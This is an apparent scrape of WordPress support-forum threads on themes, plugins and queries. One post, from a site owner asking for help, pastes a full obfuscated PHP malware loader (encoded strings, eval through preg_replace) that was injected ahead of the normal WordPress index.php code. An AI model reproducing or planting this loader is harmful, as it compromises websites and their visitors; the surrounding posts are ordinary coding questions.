Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

ezejohn on "How do i prevent my site from being hacked?"

$
0
0

Hi guys i really need help on the list of plugins
one should have on his/her wordpress site to prevent hackers from
penetrating?

Thanks,
John
http://www.ezejohn.biz


Femio on "I am getting hacked evry two weeks? Help please"

$
0
0

The example below represents the attack that occurred on my site for the umteenth time. I have no idea how it is getting in. Spoken with the service provider, it is not on their side and they suggest that one of my plugins may be to blame. I religiously update plugin and words etc. I use wordfence wangguard akismet, you name it I have tried it.

There seems to be a particular trigger when I open th eplugins option in wordpress theyn boom this code is suddenly injected into 350 plus files. My database is always intact so I get to fix it with my back ups but this is not healthy at all.

Help would be much appreciated.

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $dlncrnqcvp = '78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x7]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]]68]y34]68]y33]65]y31]53]y6d]281]25!*3!%x5c%x7827!hmg%x5cCb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825h-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81%157%x64%145%x28%141%x72%162%x61%171%x5f%155%xbubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%xtzw%x5c%x782f%x5c%x7c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7!*1?hmg%x5c%x7825)!gj!<**2-4-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67Re%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*7878pmpusut!-#j0#!%x-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x766%x61%154%x28%151%x6d%160%x6c78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:ox782fr%x5c%x7825%x5c%x782fh%x5c%x787825kj:!>!#]y3d]51]y35]256]y76]75c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5cutjyf%x5c%x7860439275ttfsqnpdov{h19275j{*t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y87f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)74-%x5c%x7824%x5c%x785c%x5c%x7825c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]2FT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c5c%x78257>%x5c%x782f7&6|7**111125)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:*~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]1<%x5c%x7825j=6[%x5c]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860LDPT7#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x784#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5x7825,3,j%x5c%x7825>j%x5c%x7825!<**3npd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x782A%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825t5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7]67y]37]88y]27]28y]#%x5c%72]58y]472]37y]672]48y]#>s%x5c%x7825<#462x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|c%x7860hfsq)!sp!*#ojneb#-*f825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x78248257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qj%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds%x7825bss%x5c%x785csboe))1%x5c%x782f35.)*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x784#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**t%x5c%x7825}K;%x5c%x78673:8297f:5297e:56-%x5c%x7878r.985:52985%x7825-*.%x5c%x7825)euhA)3of>2bd%x5A)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnb*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c3ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:*&7-#o]s]o]s]#)fepmqyf%%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%xc%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<5c%x7825)!gj!~<ofmy%x5c%5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mW~%x5c%x7825fdy)##-!#pz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%h%x5c%x7860fmjg}[;ldp]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]225)j{hnpd!opjudovg!|!**#j{h%x7825ww2!>#p#%x5c%x782f#p#%w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<27}88:}334}472%x5c%x2f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x5!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-27&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x785z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x78c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*x7825)ftpmdR6<*id%x5c%x7825ozcYufhA%x5c%x78272qj%x5c%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)32c%x787f<*X&Z&S{ftmfV%x5c%xgj6<*doj%x5c%x78257-C)fepmqnjf#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp0ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}i}Y;tuofuopd%x5c%x7860uf%x5c%x7825%x5c%x7827Y%x5c%xc%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5cc%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x7861%160%x28%42%x66%152%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)totn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x52]y3d]51]y35]274]y4:]82]y3:]62]y4%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%16*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%) { $GLOBALS["%x61%156%x75%156%x61id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>E%x5c%x7878:<##:>:h%x5c%)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBx7825s:%x5c%x785c%x5c%x7825j:.mbg!osvufs!|ftmf!~<*+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#241]334]368]322]3]364]6]283]427]36]373P6]36]73]83x5c%x7827*&7-n%x5c%x7825)utjm6<%xx782fh%x5c%x7825:<**#57]38y]47nui}&;zepc}A;~!}%x5c%x787f;!|!7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271.;%x5c%x7860UQPMSVD!-%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c83]256]y81]265]y72]254]y76]61]y335c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upc%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%xe%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#Qx5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k5l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x78f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%-#!#-%x5c%x7825tmw)%x5eN+#Qi%x5c%x785c1^W%x27-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%xset($GLOBALS["%x61%156%x75%156%x61"])))37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x55j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-wTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!is25cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]w:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x782jyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ft4%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x77825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x782x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7822f%x5c%x7825kj:-!OVMM*<(<}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%%x5c%x78256<pd%x5c%x7825x7878W~!Ypp2)%x5c%x7825zB%x5x5c%x7825%x5c%x785cSFWSqp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!**x5c%x7825)7gj6<*id%x5c%*9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcv24-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x#cd2bge56+99386c6f+9f5d816:+946:ce4*b%x5c%x7825)sf%x5c%x1%x5c%x782f14+9**-)1%x5c%x782f2986hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4ing(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%1!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x78pjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd5c%x7825tww**WYsboepn)%x5c%x7825bss-%QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI#%x5c%x782f#7e:55946-tr.984:759x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278r#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cqFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5"]=1; function fjfgg($n){return chr(ord($n)-1);} @error_report73]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257x7825:<#64y]552]e7y]#>n%x5c%x7825<#3P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%xx5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x78x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x782%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c58]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x78255c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%)!gj}Z;h!opjudovg}{;#)tut78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5/(.*)/epreg_replacemjtobpujum'; $tmkzabkrhl = explode(chr((208-164)),'7418,63,7105,39,5464,34,8848,62,8348,56,798,30,287,46,5200,21,5369,54,7748,56,1524,50,828,35,8524,56,7981,24,4157,43,4501,37,4538,61,6192,53,3699,23,5873,33,1320,37,1620,31,6975,61,6339,48,5148,52,4220,60,9286,35,10066,40,1883,33,736,62,3016,58,3469,51,4718,25,2381,41,408,48,7350,68,8741,59,4957,27,0,61,1236,53,4816,29,2517,67,6725,60,8098,23,4691,27,5646,39,8800,48,3774,48,2733,38,9445,47,4336,70,4933,24,4032,21,3372,23,4890,43,6020,21,5498,70,2624,52,9101,40,10041,25,7697,51,5715,20,8121,38,4406,45,143,24,6494,68,4280,56,333,55,3884,24,2422,36,484,55,2893,49,456,28,2321,60,8404,68,4102,27,2458,59,7036,69,6245,56,1009,40,3434,35,4646,45,1916,68,6301,38,3167,56,5094,54,8056,42,8238,21,716,20,6141,51,5276,60,2942,27,6785,39,671,45,8203,35,2147,52,8617,51,9783,51,3520,62,3722,52,3330,42,863,41,9981,60,8033,23,1406,55,4845,45,4743,47,3582,49,5221,55,1049,40,8293,55,2199,58,5735,42,6562,67,2584,40,7190,52,4790,26,608,63,7144,46,6435,59,1144,42,9321,57,3908,58,5936,30,7930,51,9492,45,6629,46,2837,56,9176,69,9056,45,1984,51,4053,49,8910,59,1461,63,9666,67,5906,30,2771,25,942,35,1651,49,1089,55,5623,23,8969,36,2796,41,1822,61,904,38,8472,52,4200,20,5966,54,9378,67,7643,54,1289,31,7242,52,9537,65,3223,64,2969,47,2257,64,6824,54,6041,67,3074,53,2088,59,8159,44,977,32,5336,33,9245,41,7804,51,6953,22,6675,50,7481,49,6878,54,8005,28,4984,41,6387,48,7294,56,2035,53,6932,21,8580,37,8699,42,9881,46,3395,39,237,50,8668,31,2676,57,3987,45,9834,47,9005,51,7530,70,3822,62,167,70,3966,21,1700,63,5824,49,61,49,5025,69,3127,40,8259,34,3631,68,9733,50,539,69,5423,41,5685,30,1574,46,5568,55,7600,43,1802,20,4129,28,7855,50,4451,50,9141,35,9927,54,388,20,5777,47,4599,47,7905,25,1357,49,9602,64,1186,50,6108,33,110,33,1763,39,3287,43'); $vwzwoixwrt=substr($dlncrnqcvp,(50598-40492),(46-39)); if (!function_exists('rjzgxasddt')) { function rjzgxasddt($tbraoiyosa, $bkhhcmytap) { $oykujodnvo = NULL; for($pbgfhfeccr=0;$pbgfhfeccr<(sizeof($tbraoiyosa)/2);$pbgfhfeccr++) { $oykujodnvo .= substr($bkhhcmytap, $tbraoiyosa[($pbgfhfeccr*2)],$tbraoiyosa[($pbgfhfeccr*2)+1]); } return $oykujodnvo; };} $zpdjhhgdxn="\x20\57\x2a\40\x73\164\x75\144\x79\150\x78\153\x6b\156\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x32\55\x32\61\x35\51\x29\54\x20\143\x68\162\x28\50\x34\64\x32\55\x33\65\x30\51\x29\54\x20\162\x6a\172\x67\170\x61\163\x64\144\x74\50\x24\164\x6d\153\x7a\141\x62\153\x72\150\x6c\54\x24\144\x6c\156\x63\162\x6e\161\x63\166\x70\51\x29\51\x3b\40\x2f\52\x20\143\x6f\142\x68\171\x77\145\x73\164\x76\40\x2a\57\x20"; $ezxmtmwjzg=substr($dlncrnqcvp,(67463-57350),(44-32)); $ezxmtmwjzg($vwzwoixwrt, $zpdjhhgdxn, NULL); $ezxmtmwjzg=$zpdjhhgdxn; $ezxmtmwjzg=(423-302); $dlncrnqcvp=$ezxmtmwjzg-1; ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

alguna on "infowindow on googlemap for wordpress"

$
0
0

I m trying to create a googlemap integrating informations from wordpress posts, I succeed to call the various markers from the category I want,
but I need each marker when click to open a infowindow with the title of the post and a link to the post itself, but after trying different possibilities I can't figure out how to make this work ... If someone can help me on this ? Here is the code I have so far :

<div id="map" style="width: 100%; height: 300px;"></div>

<script>
function initialize() {
    var locations = [
     <?php $query = new WP_Query( 'cat=3' ); ?>
 <?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>

        [<?php echo get_post_meta( $post->ID, 'location', true ); ?>, "<?php the_title(); ?>"],
 <?php endwhile;
 wp_reset_postdata();
 ?>
 <?php endif; ?>
        ];

    var map = new google.maps.Map(document.getElementById('map'), {
        zoom: 12,
        center: new google.maps.LatLng(45.835163, 9.029694),
        mapTypeId: google.maps.MapTypeId.ROADMAP,
        styles : [{featureType:'all',stylers:[{saturation:-100},{gamma:0.0}]}]
    });

    var infowindow = new google.maps.InfoWindow();

    var marker, i;

    for (i = 0; i < locations.length; i++) {
        marker = new google.maps.Marker({
            position: new google.maps.LatLng(locations[i][0], locations[i][1]),
            map: map,
            <?php if(in_category('8')):?>
icon: 'https://maps.google.com/mapfiles/kml/shapes/schools_maps.png',
<?php elseif (in_category('9')):?>
icon: 'https://maps.google.com/mapfiles/kml/shapes/library_maps.png',
<?php endif;?>

        });

    }
    }
google.maps.event.addDomListener(window, 'load', initialize);
</script>

vl4d on "subdomain bug??"

$
0
0

i am not sure if is from wordpress or from hosting but my website is open with any registred subdomain so if i write mywebsite.domain.com is working so if anyone want to say this is my website can do..

lennart5 on "Duplicate post type"

$
0
0

Hi everybody!
I'm working on a website that's using the WPZOOM Digital theme. On the front page of the website (www.bananagun.nl), a slider, a portfolio and a few blog items are displayed. My client wants to change this: the portfolio can stay as it is, but they want to have the blog items displayed in the slider.
I tried doing this by copying the 'Portfolio' custom post type and changing all instances of Portfolio to Slideshow (and portfolio to slideshow) and then telling the slider to look for slideshow posts instead of portfolio posts. However, as soon as I copy the custom post type (I tried pasting it in custom-post-types.php - where the Portfolio post type also is declared - and functions.php), I get the blank screen of death. Would anyone know how I can tackle this problem?
Thanks!!

alexWP333 on "Custom Meta Box for Edit Page Screen"

$
0
0

I've set up a custom meta box (according to a tutorial) so that it appears on the Edit Post screen. This is working well.

I'd like to know how to modify the code below so that the custom meta box would appear in the Edit Page screen instead. I tried changing the 4th parameter of the add_meta_box() function from 'post' to 'page', but I still can't get the custom meta box to appear in the Edit Page screen.

Your help would be greatly appreciated.

<?php

/*
Plugin Name: Custom Meta Box Template
Plugin URI: http://example.com/
Description: Provides a starting point for creating custom meta boxes.
Author: Author
Version: 1.0
Author URI: http://example.com/
*/

/**
 * Adds a meta box to the post editing screen
 */
function prfx_custom_meta() {
    add_meta_box( 'prfx_meta', __( 'Meta Box Title', 'prfx-textdomain' ), 'prfx_meta_callback', 'post' );
}
add_action( 'add_meta_boxes', 'prfx_custom_meta' );

/**
 * Outputs the content of the meta box
 */
function prfx_meta_callback( $post ) {
    wp_nonce_field( basename( __FILE__ ), 'prfx_nonce' );
    $prfx_stored_meta = get_post_meta( $post->ID );
    ?>

        <label for="meta-text" class="prfx-row-title"><?php _e( 'Example Text Input', 'prfx-textdomain' )?></label>
        <input type="text" name="meta-text" id="meta-text" value="<?php if ( isset ( $prfx_stored_meta['meta-text'] ) ) echo $prfx_stored_meta['meta-text'][0]; ?>" />

    <?php
}

/**
 * Saves the custom meta input
 */
function prfx_meta_save( $post_id ) {

    // Checks save status
    $is_autosave = wp_is_post_autosave( $post_id );
    $is_revision = wp_is_post_revision( $post_id );
    $is_valid_nonce = ( isset( $_POST[ 'prfx_nonce' ] ) && wp_verify_nonce( $_POST[ 'prfx_nonce' ], basename( __FILE__ ) ) ) ? 'true' : 'false';

    // Exits script depending on save status
    if ( $is_autosave || $is_revision || !$is_valid_nonce ) {
        return;
    }

    // Checks for input and sanitizes/saves if needed
    if( isset( $_POST[ 'meta-text' ] ) ) {
        update_post_meta( $post_id, 'meta-text', sanitize_text_field( $_POST[ 'meta-text' ] ) );
    }

}
add_action( 'save_post', 'prfx_meta_save' );

/**
 * Adds the meta box stylesheet when appropriate
 */
function prfx_admin_styles(){
    global $typenow;
    if( $typenow == 'post' ) {
        wp_enqueue_style( 'prfx_meta_box_styles', plugin_dir_url( __FILE__ ) . 'meta-box-styles.css' );
    }
}
add_action( 'admin_print_styles', 'prfx_admin_styles' );

obasimvilla on "[bbPress] Migrate SMF users to bbpress without altering guest accounts"

$
0
0

I have an SMF forum that I did allow users post as guest and so have lots of post from guest users.

When I decided to move it over to WordPress (bbpress) I realized the guest accounts weren't migrated properly.

I've tried few fiverr freelancers without success and would like to ask if there's any tips for hacks to this plugin so I can alter some code and have my forum migrated without issues.

I already have an active support thread at https://bbpress.org/forums/topic/how-to-set-all-users-to-anonymous-after-migrating-from-smf but decided to check over here if there are some persons with tips concerning this issue.

Thanks a lot.

ViscoDesign on "DFP custom targeting for categories"

$
0
0

Hi, I'm trying to get the category (on an archive page) to pass it into the DFP ad tag, but the code I have is not working:

<script type='text/javascript'>
	<?php $category = get_the_category();
		echo 'googletag.pubads().setTargeting("category", "'.$category[0]->slug.'");'; ?>
	googletag.cmd.push(function() { googletag.display('div-xxxxxx'); });
</script>

The code seems to run ok, but the category 'value' is not being passed through. It's always blank.
Any thoughts?


thecatz on "Custom research ?"

$
0
0

Hello,

For purposes , i've created a new table named post_archived and I would like to change the function of native wordpress research so it can go search also in this new table.
This new table have the same field names as the post table. I did not find the files for the search engine , if someone has already done this , I'm interested :)

Where can i custom the querry to add my new table ?

Thank you

Gatera on "Media library management from front end"

$
0
0

Hi.

Is it possible to have a media library tab on the front end of your website. I am only able to see when trying to upload a new file, but I would like to make a media tab that when clicked takes you to the media library. Just like in the admin are but this time on the site front end.

Regards

et3ishak on "Parse Error"

$
0
0

Parse error: syntax error, unexpected '<' on line 17

Hello, I am learning to write the plugins for Wordpress. I get the above error when attempting to activate my plugin in wordpress.

Am I not able to use html?

when I remove the html, I get no parse error when activating.

The following is my code:

<?php
/**
 * Plugin Name: somePlugin
 * Plugin URI: http://www.syntaxbytes.com
 * Description: This is a description
 * Version: 1.0
 * Author: Paul Ishak
 * Author URI: http://www.syntaxbytes.com
 * License: GPL2
 */
 # Generated with WordPressPluginDesigner v0.1
    add_action('admin_menu', 'somePlugin_admin_actions');
    function somePlugin_admin_actions(){
        add_options_page('Some Plugin Settings', 'somePlugin', 'manage_options', __FILE__, 'somePlugin_admin');
    }
    function somePlugin_admin() {
    <img src="http://www.syntaxbytes.com/pluginimages/feature3.png"/>
    }
?>

joh3 on "SQL Statement for getting custom postfield"

$
0
0

Hello,
I created a post_ranking field in the wp_posts table.
Now I want to get the posts sorted by their post_ranking.
I don't get any Post back with my statement:

add_filter('posts_orderby', 'ranking_order');
function ranking_order($orderby)
{global $wpdb;
$orderby = "SELECT distinct $wpdb->posts.* from $wpdb->posts where $wpdb->posts.post_type = 'listing' order by $wpdb->posts.post_ranking DESC";
return $orderby;}

I'm glad for any help!

DesignYourSoul on "Model / Actor / Casting Book"

$
0
0

I am actively looking for the plugin being used on this page or something that does it very similarly as this website itself is being run on wordpress I think it's just a plugin modified through means of CSS.

Demo: http://www.promod.org/women/aida/ (click on "Custom PDF" in top left corner to see desired function)

The function I specifically want is being able to have my client upload posts and bio of their model / actor and then when any user from the front end drags & drops in said model / actor you can generate a pdf based on whom you've selected.

Idea's on how they achieved this?

joyspark on "Custom loops, sticky posts, and pagination duplicate in next page"

$
0
0

First of all im using 2 query post in front page. One is for sticky post one for regular post loop. And i also using inifnity page scrolling in fronpage.

Problem is : After next page in second loop two posts are duplicating . Cant find any solution in internet please help.

First loop for 3 sticky post showing diffrent

<?php
     $sticky = get_option( 'sticky_posts' ); // Get all sticky posts
     rsort( $sticky ); // Sort the stickies, latest first
     $sticky = array_slice( $sticky, 0, 3 ); // Number of stickies to show
     query_posts( array( 'post__in' => $sticky, 'caller_get_posts' => 1 ) ); // The query?>

<?php if (have_posts()) : ?>
<?php $count = 0; ?>
<?php while (have_posts()) : the_post(); ?>
<?php $count++; ?>
